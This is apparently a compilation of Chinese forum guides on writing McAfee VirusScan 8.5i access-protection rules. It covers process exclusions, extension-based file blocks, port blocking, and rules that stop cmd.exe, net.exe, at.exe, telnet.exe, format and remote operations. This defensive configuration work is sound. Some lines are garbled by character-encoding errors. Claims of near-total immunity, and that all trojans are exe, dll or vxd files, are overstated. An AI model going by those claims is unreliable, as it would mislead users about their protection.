1.6排除路径中有一种以“/??/”或“//?/”打头的路径,编写规则时若将“/??/”或“//?/”去掉的话便无法排除该进程,这是因为该进程已注入内存,所以在排除时已不是原路径,而是内存中的路径,所以需要以“/??/”或“//?/”打头。“/??/”表示内存中的单个进程,多为系统进程,如??/C:/WINDOWS/system32/csrss.exe;“//?/”表示在内存中除自身进程外,还注入在内存其他进程中,多为应用程序进程。

2、进程排除:
2.1“防间谍程序标准保护”:
氨;?Internet Explorer 收藏夹和设置”,排除C:/Program Files/Internet Explorer/IExplore.exe,C:/WINDOWS/system32/rundll32.exe,C:/WINDOWS/Explorer.exe,C:/Program Files/Maxthon/Maxthon.exe
说明:排除IExplore.exe是允许IE浏览器更改IE设置和收藏夹;排除Explorer.exe是允许windowblinds以及手动更改windows窗口的工具栏;当rundll32.exe与Explorer.exe同时排除时就可以通过桌面IE图标右键更改IE设置;排除Maxthon.exe是允许遨游浏览器更改IE设置和收藏夹。

2.2“防间谍程序最大保护”:
敖顾谐绦虼?Temp 文件夹运行文件”,排除D:/security/mcafee/Common Framework/McScript_InUse.exe。
说明:排除McScript_InUse.exe是允许McAfee升级病毒库。

2.3“防病毒最大保护”:
2.3.1“禁止更改所有文件扩展名的注册”,排除C:/Program Files/Stardock/Object Desktop/SkinStudio/SknStdio.exe。
说明:排除SknStdio.exe是允许SkinStudio编辑windowblinds主题。

2.3.2“保护缓存文件免受密码和电子邮件地址窃贼的攻击”,排除C:/Program Files/Maxthon/Maxthon.exe。
说明:排除Maxthon.exe是允许遨游浏览器可以进行网页(论坛)下载。

2.4“通用标准保护”:
2.4.1“禁止修改 McAfee 文件和设置”,排除D:/security/mcafee/VirusScan Enterprise/VsTskMgr.exe。
说明:排除VsTskMgr.exe是允许通过控制台更改McAfee的设置。

2.4.2“禁止修改 McAfee Common Management Agent 文件和设置”,排除C:/Program Files/McAfee/Common Framework/McScript_InUse.exe,C:/Program Files/McAfee/Common Framework/FrameworkService.exe。
说明:排除FrameworkService.exe与McScript_InUse.exe是允许McAfee升级病毒库。

2.4.3“禁止修改 McAfee 扫描引擎文件和设置”,排除C:/Program Files/McAfee/Common Framework/McScript_InUse.exe。
说明:排除McScript_InUse.exe是允许McAfee在升级病毒库的时候可以将老病毒库备份到OldEngine文件夹中,以便回滚DAT之用

2.5“通用最大保护”:
2.5.1“禁止在 Windows 文件夹中创建新的可执行文件”,排除C:/Program Files/McAfee/Common Framework/McScript_InUse.exe。
说明:排除McScript_InUse.exe是允许McAfee升级病毒库。

2.5.2“禁止在 Program Files 文件夹中创建新的可执行文件”,排除C:/Program Files/McAfee/Common Framework/McScript_InUse.exe,C:/Program Files/McAfee/Common Framework/FrameworkService.exe。
说明:排除FrameworkService.exe与McScript_InUse.exe是允许McAfee升级病毒库。

2.5.3“禁止 FTP 通信”,
排除C:/Program Files/Thunder/Program/Thunder5.exe,C:/Program Files/Internet Explorer/IExplore.exe,C:/Program Files/Maxthon/Maxthon.exe。
说明:排除Thunder5.exe是允许迅雷可以进行FTP下载;排除IExplore.exe与Maxthon.exe是允许IE浏览器与遨游浏览器可以浏览FTP网页。

2.5.4“禁止 HTTP 通信”,
排除C:/Program Files/McAfee/Common Framework/FrameworkService.exe,C:/Program Files/Thunder/Program/Thunder5.exe,C:/Program Files/Maxthon/Maxthon.exe,C:/Program Files/Tencent/QQGAME/QQGame.exe,C:/Program Files/TTPlayer/TTPlayer.exe。
说明:排除FrameworkService.exe是允许McAfee升级病毒库;排除Thunder5.exe是允许迅雷可以进行HTTP下载;排除Maxthon.exe是允许遨游可以上网且不会无故中断;排除QQGame.exe是允许QQ游戏能够运行;排除TTPlayer.exe是允许千千静听可以下载歌词。

四、用户自定义的规则
1、对未知程序的行为控制
说明:该系列规则防护相当强大,使用时需根据使用环境随时调整,但因为排除进程太多,故安全性降低,以“1.1禁止未知程序的任何操作”为例,为了不影响日常使用,排除了浏览器和下载工具,所以并不能阻挡病毒从外部创建到计算机中,虽然可以禁止其执行,但病毒源已存在于计算机中,威胁依然存在,因此就需要“2、禁止在计算机中创建新文件”系列规则来加以配合。
1.1禁止未知程序的任何操作
要包含的进程:*
要排除的进程:C:/WINDOWS/System32/alg.exe,C:/WINDOWS/system32/ctfmon.exe,/??/C:/WINDOWS/system32/winlogon.exe,/??/C:/WINDOWS/system32/csrss.exe,C:/WINDOWS/system32/lsass.exe,C:/WINDOWS/Explorer.EXE,C:/WINDOWS/System32/svchost.exe,C:/WINDOWS/system32/logonui.exe,C:/WINDOWS/system32/RUNDLL32.EXE,C:/WINDOWS/system32/userinit.exe,C:/WINDOWS/system32/services.exe,C:/Program Files/Internet Explorer/IExplore.exe,C:/WINDOWS/system32/IME/TINTLGNT/TINTSETP.EXE,C:/WINDOWS/IME/imjp8_1/IMJPMIG.EXE,C:/WINDOWS/system32/taskmgr.exe,C:/WINDOWS/system32/NOTEPAD.EXE,C:/Program Files/McAfee/Common Framework/McTray.exe,C:/Program Files/McAfee/Common Framework/UdaterUI.exe,C:/Program Files/McAfee/VirusScan Enterprise/VsTskMgr.exe,C:/Program Files/McAfee/Common Framework/FrameworkService.exe,C:/Program Files/McAfee/Common Framework/McScript_InUse.exe,C:/Program Files/McAfee/VirusScan Enterprise/shstat.exe,C:/Program Files/McAfee/Common Framework/naPrdMgr.exe,C:/Program Files/Thunder/Thunder.exe,C:/Program Files/Thunder/Program/Thunder5.exe,C:/Program Files/Maxthon/Maxthon.exe,C:/Program Files/Stardock/Object Desktop/WindowBlinds/wbconfig.exe,C:/Program Files/Styler/Styler.exe,C:/Program Files/Stardock/Object Desktop/IconPackager/IconPackager.exe,C:/Program Files/Stardock/Object Desktop/SkinStudio/SknStdio.exe,C:/Program Files/Microsoft Office/OFFICE11/WINWORD.EXE,C:/Program Files/Microsoft Office/OFFICE11/EXCEL.EXE,C:/Program Files/Microsoft Office/OFFICE11/POWERPNT.EXE,C:/Program Files/WinRAR/WinRAR.exe,C:/Program Files/TTPlayer/TTPlayer.exe,C:/Program Files/Stardock/Object Desktop/SkinStudio/SknStdio.exe,C:/Program Files/Wopti/WoptiUtilities.exe,C:/Program Files/鱼鱼软件/鱼鱼桌面秀/XDeskShow.exe,C:/Program Files/Tencent/QQ/QQ.exe,C:/Program Files/Tencent/QQ/CoralQQ.exe,C:/Program Files/Tencent/QQGAME/QQGame.exe,C:/PROGRA~1/KMplayer/KMPlayer.exe,C:/PROGRA~1/NFSU2/speed2.exe
要阻止的文件或文件夹名:**/*
要禁止的文件操作:读取、写入、执行、创建、删除
说明:该规则属于FD的极致规则,类似于AD,利用FD模仿AD的行为控制,但并不如真正的AD完美与强大,若McAfee与具备AD的HIPS相配合,该规则就没有存在的意义了。排除进程中黑字为系统进程,蓝字为McAfee进程,这两种进程如无必要,无需调整,红字为应用软件,需根据用户使用环境调整。

1.2禁止未知程序的任何网络行为
要包含的进程:*
要排除的进程:C:/WINDOWS/system32/svchost.exe,C:/Program Files/McAfee/Common Framework/FrameworkService.exe,C:/Program Files/Tencent/QQ/QQ.exe,C:/Program Files/Thunder/Program/Thunder5.exe,C:/Program Files/Maxthon/Maxthon.exe,C:/Program Files/Tencent/QQGAME/QQGame.exe,C:/Program Files/TTPlayer/TTPlayer.exe
要阻止端口:1~65535
方向:入站、出站
说明:该规则类似于防火墙,阻止了不信任程序对网络的访问。排除进程中黑字为系统进程,蓝字为McAfee进程,这两种进程如无必要,无需调整,红字为应用软件,需根据用户使用环境调整。

1.3禁止未知程序的任何注册表行为
说明:该系列规则属于RD的极致规则。需要注意的是,若“1.1禁止未知程序的任何操作”开启,则该系列规则毫无意义,因为排除进程是一样的,所以不被“1.1禁止未知程序的任何操作”阻挡的进程,也必然不会被该系列规则阻挡,反之,已经被“1.1禁止未知程序的任何操作”阻挡的进程,也没有能力再碰触到该系列规则了。因为“1.1禁止未知程序的任何操作”是FD模仿了AD的行为控制,反之AD却无法模仿FD,总体来说FD应该是HIPS中最强大的防御系统,如果FD与AD相配合达到对计算机的完全保护,那么即使是RD中属于极致的规则都变得多余了,因此可以得出FD强于AD,AD强于RD,但三者其实各有所长,对于不同的用户群,FD、AD和RD都发挥着各自的能力。
1.3.1禁止未知程序的任何注册表行为(项)
要包含的进程:*
要排除的进程:同“1.1禁止未知程序的任何操作”
要保护的注册表项或注册表值:HKALL/**
规则类型:项
要阻止的注册表操作:写入、创建、删除

1.3.2禁止未知程序的任何注册表行为(值)
要包含的进程:*
要排除的进程:同“1.1禁止未知程序的任何操作”
要保护的注册表项或注册表值:HKALL/**
规则类型:值
要阻止的注册表操作:写入、创建、删除

2、禁止在计算机中创建新文件
说明:该系列规则对部分格式文件禁止写入、创建和删除,以主要操作“创建”而命名这一系列规则,同时也为了与内置规则“禁止在 Windows 文件夹中创建新的可执行文件”相对应,该系列规则在“要禁止的文件操作”中不可选中“执行”,因为“执行”的操作在排除进程上要比“写入、创建、删除”的操作多的多,故从安全性考虑,该系列规则与“1、对未知程序的行为控制”系列规则相配合,才能使“访问保护”趋于完善。
2.01禁止在计算机中创建新的.exe文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/McAfee/Common Framework/FrameworkService.exe,C:/Program Files/McAfee/Common Framework/McScript_InUse.exe,C:/Program Files/WinRAR/WinRAR.exe,C:/Program Files/Thunder/Program/Thunder5.exe
要阻止的文件或文件夹名:**/*.exe
要禁止的文件操作:写入、创建、删除
说明:排除FrameworkService.exe与McScript_InUse.exe是允许McAfee升级病毒库;排除Explorer.exe是为了日常使用时不受该规则限制,例如复制、粘贴、移动、删除等等的操作;排除WinRAR.exe是允许压缩软件释放压缩包,尤其是绿色软件;排除Thunder5.exe是允许迅雷下载软件。

2.02禁止在计算机中创建新的.dll文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/McAfee/Common Framework/FrameworkService.exe,C:/Program Files/McAfee/Common Framework/McScript_InUse.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.dll
要禁止的文件操作:写入、创建、删除
说明:该规则的排除进程基本与2.01规则一样,仅仅去除了对Thunder5.exe的排除,因为日常使用中,一般不会用迅雷下载DLL文件,以下的规则中不排除Thunder5.exe皆是此理。

2.03禁止在计算机中创建新的.bat文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.bat
要禁止的文件操作:写入、创建、删除
说明:排除WinRAR.exe是允许绿色软件可以直接解压使用;排除Explorer.exe也是允许绿色软件可以复制、粘贴、移动、删除等等的日常操作。

2.04禁止在计算机中创建新的.chm文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.chm
要禁止的文件操作:写入、创建、删除

2.05禁止在计算机中创建新的文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*
要禁止的文件操作:写入、创建、删除

2.06禁止在计算机中创建新的.cpl文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.cpl
要禁止的文件操作:写入、创建、删除

2.07禁止在计算机中创建新的.ini文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/McAfee/Common Framework/FrameworkService.exe,C:/Program Files/McAfee/Common Framework/McScript_InUse.exe,C:/Program Files/WinRAR/WinRAR.exe,C:/Program Files/Styler/Styler.exe,C:/Program Files/Stardock/Object Desktop/SkinStudio/SknStdio.exe,C:/Program Files/Wopti/WoptiUtilities.exe
要阻止的文件或文件夹名:**/*.ini
要禁止的文件操作:写入、创建、删除
说明:该规则有些特殊,需要排除FrameworkService.exe与McScript_InUse.exe进程,目的是允许McAfee升级病毒库;除此,还需要排除一些常用的应用软件,许多应用软件在使用中都需要写入ini文件,为方便日常使用,因此加以排除。

2.08禁止在计算机中创建新的.msc文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.msc
要禁止的文件操作:写入、创建、删除

2.09禁止在计算机中创建新的.msi文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.msi
要禁止的文件操作:写入、创建、删除

2.10禁止在计算机中创建新的.ocx文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.ocx
要禁止的文件操作:写入、创建、删除

2.11禁止在计算机中创建新的.pif文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.pif
要禁止的文件操作:写入、创建、删除

2.12禁止在计算机中创建新的.scr文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.scr
要禁止的文件操作:写入、创建、删除

2.13禁止在计算机中创建新的.sys文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.sys
要禁止的文件操作:写入、创建、删除

2.14禁止在计算机中创建新的.vbs文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.vbs
要禁止的文件操作:写入、创建、删除

2.15禁止在计算机中创建新的.vxd文件
要包含的进程:*
要排除的进程:C:/WINDOWS/Explorer.exe,C:/Program Files/WinRAR/WinRAR.exe
要阻止的文件或文件夹名:**/*.vxd
要禁止的文件操作:写入、创建、删除

2.16禁止在计算机中创建新的autorun.inf文件
要包含的进程:*
要阻止的文件或文件夹名:**/autorun.inf
要禁止的文件操作:读取、写入、执行、创建、删除
说明:该规则不同于该系列规则中的其他规则,目的是禁止某些病毒的自动运行

3、禁止部分系统工具的操作
3.1禁止通过注册表编辑器与.reg文件对注册表进行任何操作
要包含的进程:*
要阻止的文件或文件夹名:**/regedit.exe
要禁止的文件操作:读取、写入、执行、创建、删除
说明:只此一条,就可以一次性禁止通过regedit.exe、regedt32.exe、.reg文件三种方式对注册表进行操作,需要注意的是,该规则不属于RD,只通过FD对注册表外部进行保护,RD是对注册表内部进行的保护。

3.2禁止管理工具的操作
要包含的进程:*
要阻止的文件或文件夹名:**/mmc.exe
要禁止的文件操作:读取、写入、执行、创建、删除
说明:管理工具里都是重要的系统工具

3.3禁止格式化命令format的运行
要包含的进程:*
要阻止的文件或文件夹名:**/format.*
要禁止的文件操作:读取、写入、执行、创建、删除
说明:针对一些格式化病毒的防护措施

3.4禁止net命令的运行
要包含的进程:*
要阻止的文件或文件夹名:**/net*.exe
要禁止的文件操作:读取、写入、执行、创建、删除
说明:对远程攻击的防护措施

3.5禁止at命令的运行
要包含的进程:*
要阻止的文件或文件夹名:**/at.exe
要禁止的文件操作:读取、写入、执行、创建、删除
说明:对远程攻击的防护措施

4、保护部分重要的系统文件
4.1保护系统盘根目录下的文件
要包含的进程:*
要阻止的文件或文件夹名:C:/*.*
要禁止的文件操作:写入、创建、删除
说明:系统盘根目录下都是重要的系统文件

4.2保护ghost文件
要包含的进程:*
要阻止的文件或文件夹名:**/*.GHO
要禁止的文件操作:读取、写入、执行、创建、删除
说明:对系统备份进行防护

5、禁止任何远程操作
要包含的进程:System:Remote
要阻止的文件或文件夹名:**/*
要禁止的文件操作:读取、写入、执行、创建、删除
说明:通过文件保护禁止了远程的一切行为

四.保存设置和规则
说明:将HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/VSCore和HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/DesktopProtection两个注册表项全部导出,包含子项目,即保存了所有设置和规则,再将导出的两个注册表文件合并到一个文件中,若使用时只须导入即可。
一、HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/VSCore中包含的规则设置
1.1访问保护:(这个值只有在访问保护关闭时才能访问,一旦导入也将覆盖所有以前的访问保护设置!)
HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/VSCore/On Access Scanner/BehaviourBlocking/AccessProtectionUserRules

1.2缓冲区溢出保护:(其中*表示数字0、1、2、3、4、5……)
HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/VSCore/On Access Scanner/BehaviourBlocking/BOPExclusionProcess_*

1.3电子邮件传递扫描程序:HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/VSCore/Email Scanner

1.4有害程序策略:(其中*表示数字0、1、2、3、4、5……)
HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/VSCore/NVP/UserDefinedDetection_*

1.5按访问扫描程序:HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/VSCore/On Access Scanner/McShield/Configuration以及Default(默认设置)、High(高风险进程)、Low(低风险进程)

二、HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/DesktopProtection中包含的规则设置
2.1隔离管理器策略:HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/DesktopProtection

2.2按需扫描(完全扫描、目标扫描):
HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/DesktopProtection/Tasks/{21221C11-A06D-4558-B833-98E8C7F6C4D2}和HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/DesktopProtection/DefaultTask(默认)

2.3AutoUpdate:HKEY_LOCAL_MACHINE/SOFTWARE/McAfee/DesktopProtection/Tasks/{A14CD6FC-3BA8-4703-87BF-E3247CE382F5}(默认)

写给准备用mcafee8.5i企业版的朋友
http://www.3qu/archives/2006/10786.html

写给准备用mcafee8.5i企业版的朋友
mcafee是最受公认的监控最灵敏的防病毒软件
但是真正的精髓部分应该是它的文件访问保护部分(以及端口阻挡,注册表防护等等)

首先,若您想使用mcafee
我建议您要学会自己动手DIY最适合自己的规则
为自己的机器“量身定做”一套属于自己的,独一无二的细密而强大的保护规则
(别人做的规则不一定是适合您的)
您对系统的熟悉度越高,mcafee就越强大
反之,如果您对此一窍不通的话,mcafee也就发挥不出它应有的强大保护力了

可以说这样:只要您懂得并会熟练的运用好mcafee(8.5i)的访问保护
无论什么新型病毒,什么变种木马,加了什么壳,加了多少层壳
在您开着监控的情况下基本上都是无法对您的系统造成任何侵害的

附上我自己编写的部分规则:

(仅供参考)
禁止在C盘根目录创建文件
禁止在WINDOWS目录中新建任何文件
禁止修改WINDOWS目录中的任何文件
禁止删除WINDOWS目录中的任何文件
禁止在WINDOWS根目录下新建任何文件
禁止在system32根目录下新建任何文件
禁止在C盘中新建,修改任何SCR文件(防范某些木马)
禁止cscript.exe运行
禁止mshta.exe运行
禁止format运行(防范恶意格式化行为)
禁止hh.exe运行
禁止cmd.exe运行
禁止修改文件访问控制权限
禁止私自启用计划运行任务程序
防范远程注册表操作,禁止调用regsvc.dll
禁止在C盘中新建任何VXD文件
禁止私自创建共享文件夹
禁止telnet.exe运行
禁止在C盘中新建任何EXE可执行文件
禁止在C盘中新建任何COM可执行文件
禁止在C盘中新建任何DLL动态连接库文件
防范脚本病毒,禁止scrrun.dll
禁止在C盘中新建任何批处理BAT文件
禁止在C盘中新建任何VBS脚本文件
禁止访问TEMP文件夹,防止恶意安装程序
禁止在C盘中新建任何JS脚本文件
禁止在C盘中新建任何JSE脚本文件
禁止对Access数据库文件进行任何操作
禁止在C盘中新建任何VBE文件
禁止C盘中新建,运行任何WSH文件
禁止C盘中新建任何WSF文件
禁止在本地新建,修改,执行任何AUTORUN.INF文件
禁止在C盘中新建任何SYS文件
禁止在Downloaded Program Files目录中新建任何文件
禁止添加桌面文件
禁止启用远程桌面程序
禁止在开始菜单中添加项目
禁止在C盘中新建ZIP文件(防范某些蠕虫)
禁用NetMeeting网络会议程序
禁止在system.ini中创建和写入内容
禁止在win.ini中创建和写入内容
禁止在wininit.ini中创建和写入内容
禁止在本地新建任何*desktop.ini文件
禁止java目录下的程序私自运行
禁止在C盘中新建CHM文件
保护本机所有EXE可执行文件(防止修改)
禁止私自在Program Files根目录下新建文件
禁止nwscript.exe运行
禁用自动下载连接管理器
禁止未经许可的控件注册
禁止script.dll运行
禁用SQL Server 客户端网络工具
禁止创建,修改或删除磁盘的卷标(名称)
禁止调用路由跟踪命令
防范某些网络蠕虫扩散,禁止私自运行PING命令
禁止私自用源目录中的同名文件替换目标目录中的文件
禁止私自更改当前登录用户的权限
禁止私自调用文件属性修改工具
禁止对Boot.ini配置文件执行编辑操作
防止多用户同时登陆,禁用termsrv.dl
禁止使用NetMeeting功能访问远程桌面
禁止“私自指定某些程序在指定的时间运行”
禁止在C盘中新建任何PIF文件
禁止私自修改本地用户帐户数据库
禁止在Default User目录下新建任何文件
禁止在LocalService目录下新建任何文件
禁止在NetworkService目录下新建任何文件
禁止在Application Data目录下新建任何项目
保护本机所有EXE可执行文件(防止删除)
禁止网络检测命令net.exe运行
禁止在PCHEALTH目录中新建,修改,删除任何文件
禁止Config目录下新建,修改,删除任何文件
禁止在security目录下新建,修改,删除任何文件
禁止在system目录下新建,修改,删除任何文件
禁止在Registration目录下新建,修改,删除任何文件
禁止在drivers目录下新建,修改,删除任何文件
禁止启用系统还原程序
禁止控制台程序tlntsvr.exe运行
禁止私自调用系统配置编辑器
禁止在C盘中新建CMD文件(防范某些蠕虫)
禁止在C盘中新建HTT文件(防范某些病毒)
保护WINDOWS的"系统文件替换"备份目录
保护WINDOWS的"最后一次正确启动配置"备份文件目录
禁止在C盘中新建,修改任何CPL文件(防范某些木马)
禁止在C盘中新建,修改任何DOT文件(防范宏病毒)
禁止在C盘中新建,修改任何DOC文件(防范宏病毒)
禁止运行Windows脚本宿主工具
禁止在C盘中新建,修改任何BFF文件(防止宏病毒寄生)
禁止读取Cookies文件
禁止创建新的Cookies文件

这些规则看起来似乎让人很头晕,但其实这还只是属于框架部分(我们还需要制定一些特定规则)
这些规则看似复杂,但是却不会对我电脑的以及机器上程序的正常使用造成任何妨碍

您必须学会用两至三条的规则对某个区域形成一个防护体系
并且能够使电脑最终在这些复杂而强悍的规则的防护下运行自如

有些用户发现他们使用了mcafee后的“主要工作”就是需要不停的添加排除进程
好在这些规则是可以逐渐积累的,而且是可以将其最终保存起来的
(终将会形成一套属于您自己的强大的防护体系)

我喜欢用mcafee的另一个原因是它让我感觉到了自己是自己电脑真正的“主宰者”
什么程序(甚至后台服务)可以被运行,什么程序不可以被运行
什么文件可以被修改,删除,什么文件不可以
什么地方可以被写入(创建)新文件,什么地方不可以新建任何文件
什么地方只可以被写入什么格式的文件,全都由我说了算,呵呵。

能用好mcafee您就会明白其顶尖的监控和强大的保护规则配合起来的好处
而对于那些不懂得如何设置和运用好mcafee的保护规则的初级用户来讲
呵呵,mcafee同样是一个令人头疼的“梦魇”。

mcafee自定义规则在系统中表示
使用工具可以查看注册表自定义规则,随意导入、修改和合并自定义规则,见我的另一帖子。
对于显示的结果各项含义举例如下:
文件规则:
UserString(用户命名) UR14(系统使用名称) "A47 禁止私自启用命令行运行工具"(用户规则名称)
UserEnforce(阻止) UR14 1(选)
UserReport(报告) UR14 0(不选)
UserProcess(用户进程) UR14 {Include(包含) *;Exclude(排除) Explorer.EXE}
UserRule(用户规则) UR14 G_User {File(文件) R(读)W(写)X(执行)C(创建)D(删除) { Include C://WINDOWS//system32//cmd.exe }
}
端口规则:
UserString UR126 "A32 禁止(监视)一切高端动态//私有端口的连接尝试行为"
UserEnforce UR126 1
UserReport UR126 1
UserProcess UR126 {Include *}
UserRule UR126 G_User {Port(端口) I(入)O(出)UT {Include 49152 65535}
}
注册表规则:
UserString UR70 "8-401 RD 淇濇姢/[鏄剧ず鎵鏈夋枃浠/] K"
UserEnforce UR70 1
UserReport UR70 1
UserProcess UR70 {Include *}
UserRule UR70 G_User {Key(注册表) CWD {Include HKULM/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/**}
}
没有技术含量,只为比我更菜的人能读懂。只发卡饭,其它坛子不发了。

麦咖啡设置指南------详细介绍访问保护的设置方法抵御未知病毒
特别是自定义规则,功能强大,使用得当几乎百毒不侵
不过正常功能也会受到影响,用咖啡的人自己定义安全级别把

1、访问保护。

双击访问保护,打开访问保护。出现端口阻挡,文件保护,报告,三个选项。
(1)更改端口设置。
默认端口阻挡全部勾选。添加阻挡端口新规则。端口总共有65535个。好了,把1~65535端口全部进行设置。由于咖啡对端口的阻挡模式分为两种:阻止入站,阻止出站,这样,对1~65535端口进行设置,需要分为两组。一组阻止通过1~65535端口入站,一组阻止通过1~65535端口出站。为了方便设置和查看端口阻挡而影响的进程,可以这样进行设置。1~1000,每隔100个端口设置一个规则,并进行规则标号。1000~10000,每隔1000个端口设置一个规则,也进行规则标号。10000~65535设置成一个规则,同时进行标号。这样设置好了,可以连网进行测试,怎么样,不能上网吧?当然别人也进不来了。好了,打开咖啡日志,查看那些进程被阻止,阻止的具体规则是哪些。比如,咖啡日志标明,svchost.exe进程被新规则1阻止,好了,选中新规则1,点击“编辑”,弹出对话框,在已排除进程里,添加svchost.exe,好了。依次类推,将影响的进程添加进去。设置好了之后,可以上网了。这样进行端口设置,可以阻挡99%的端口。那些通过端口出入的木马几乎没戏了。
(2)更改访问保护设置。
勾选所有默认设置。一一打开编辑,查看每个规则设置情况,凡是能够选择“阻止并报告访问尝试”,一律选择。——默认规则里,许多都是警告模式,将它们更改(注:如果更改默认设置,请再三思量,否则出现意外情况,我不负责)。将远程对exe、ocx等文件保护规则合并。但凡远程操作,在创建文件、写入文件、执行文件、读取文件、删除文件前全部打勾。
(3)更改咖啡日志路径。放在其他盘里。

2、有害程序策略。默认规则里,都没有勾选。将他们全部勾选。

3、给咖啡杀软设置密码。咖啡控制台——工具——用户界面选项——密码选项。选择使用密码保护下面所有项目。设置8位以上超强密码。在用咖啡设置一系列规则之后,可以锁定咖啡杀软界面。这样,别人不能再更改您对咖啡的设置了。

4、共享资源的保护。打开咖啡访问保护——文件保护——共享资源,将它设置成阻止并报告访问尝试。这样,共享资源就不能被别人共享了。

5、按访问扫描程序设置。常规——扫描——将引导区,关机时扫描软盘去掉。

其他设置,自己看着办吧。

上面是咖啡本身携带的一些规则。为了安全,可以进行更加严格的设置。

1、用咖啡杀软来防止3721、网络猪、中文邮、百度搜霸、一搜。

目前,3721、网络猪、中文邮、百度搜霸、一搜经常偷偷溜进您的电脑,而且难以卸载干净。用咖啡杀软可以阻止它们进入。
打开咖啡杀软访问保护,创建如下几个规则:
1、禁止在本地创建、写入、执行、读取3721任何内容;
2、禁止在本地创建、写入、执行、读取网络猪任何内容;
3、禁止在本地创建、写入、执行、读取中文邮任何内容;
4、禁止在本地创建、写入、执行、读取百度搜霸任何内容;
5、禁止在本地创建、写入、执行、读取一搜任何内容。
好了,3721、网络猪、中文邮、百度搜霸、一搜没有理由呆在您的电脑里了。
附上部分设置方法。比如,防止3721的方法:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止在本地创建、写入、执行、读取3721任何内容
阻挡对象:*
要阻挡的文件或文件名:**/3721*/**
要阻止的文件操作:在创建文件、写入文件、执行文件、读取文件前全部打勾
响应方式:阻止并报告访问尝试

2、用咖啡杀软来防止未知木马病毒

我查了下相关资料,就目前来说,木马、病毒基本都是三种类型的,exe、dll、vxd类型。好了,只要我们创建如下三种保护机制:
1、禁止在本地任何地方创建、写入任何exe文件
2、禁止在本地任何地方创建、写入任何dll文件
3、禁止在本地任何地方创建、写入任何vxd文件

这样,现在出现的各种木马病毒是进不来的。当然,这条规则非常霸道,就是您更新咖啡病毒库,对其他软件进行升级,下载exe、dll、vxd类型文件,以及移动任何exe、dll、vxd类型文件也不可能了。所以,当您进行类似操作时,暂时取消此规则,等操作完成之后,再继续使用。

部分规则创建如下所示:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止在本地任何地方创建、写入任何exe文件
阻挡对象:*
要阻挡的文件或文件名:**/*.exe
要阻止的文件操作:在创建文件、写入文件前打勾
响应方式:阻止并报告访问尝试
其他的类似规则,参照设置即可。

3、阻挡肆意删除文件的行为

现在出现许多删除mp3格式的病毒。好了,为了杜绝此类事件发生,可以这样做。打开咖啡访问保护,创建如下规则:禁止删除本地任何mp3文件。好了,那些病毒想删除mp3是不可能的了。即便是您自己也删不掉mp3了!除非解禁!为了杜绝类似删除某些文件的病毒、木马,好了。我们再创建一条规则:禁止删除本地任何内容。好了,那些肆意删除各种文件的病毒、木马,根本起不了什么作用。当然,如果这条规则起作用,您自己也不可能删除任何东西了。当您自己需要删除某些内容,暂时取消这条规则,等删除操作完成了,再打开就是了。这条规则保护自己电脑不被别人删除任何东西非常管用哦。而且别人莫名其妙的,他根本不会想到是咖啡在阻止删除操作哦?
规则创建如下所示:
咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止删除本地任何mp3文件
阻挡对象:*
要阻挡的文件或文件名:**/*.mp3
要阻止的文件操作:在删除文件前打勾
响应方式:阻止并报告访问尝试

咖啡控制台------访问保护------文件夹保护-----添加
规则名称:禁止删除本地任何内容
阻挡对象:*
要阻挡的文件或文件名:**/*/**
要阻止的文件操作:在删除文件前打勾
响应方式:阻止并报告访问尝试

个人也可以使用类似方法保护任何一个文件不被删除。比如rm文件等。自己照猫画虎试试。

4、用咖啡杀软保护注册表。

